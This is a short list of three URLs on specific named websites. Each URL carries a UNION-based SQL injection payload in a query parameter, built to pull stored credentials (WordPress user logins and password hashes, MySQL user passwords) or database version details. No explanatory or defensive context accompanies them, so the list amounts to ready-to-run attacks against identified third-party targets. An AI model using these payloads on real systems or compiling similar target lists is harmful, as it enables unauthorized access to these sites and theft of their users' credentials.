http://www.accuratelimited.com/entry_detail.php?entry_id=-1+union+select+1,2,3,concat_ws(0x3a,id,user_login,user_pass)+from+wp_users&entry_type=insight

http://www.airquality.co.uk/archive/laqm/laqm.php?action=submit&map_name=wmid&la_id=-1+union+select+concat_ws(0x3a,user,password),2,3,4+from+mysql.user

http://www.hanwha.com.tw/hardware_detail.php?hard_id=-1+union+select+1,2,3,4,concat_ws(0x3a,version(),database()),6,7,8,9,10,11,12,13,14,15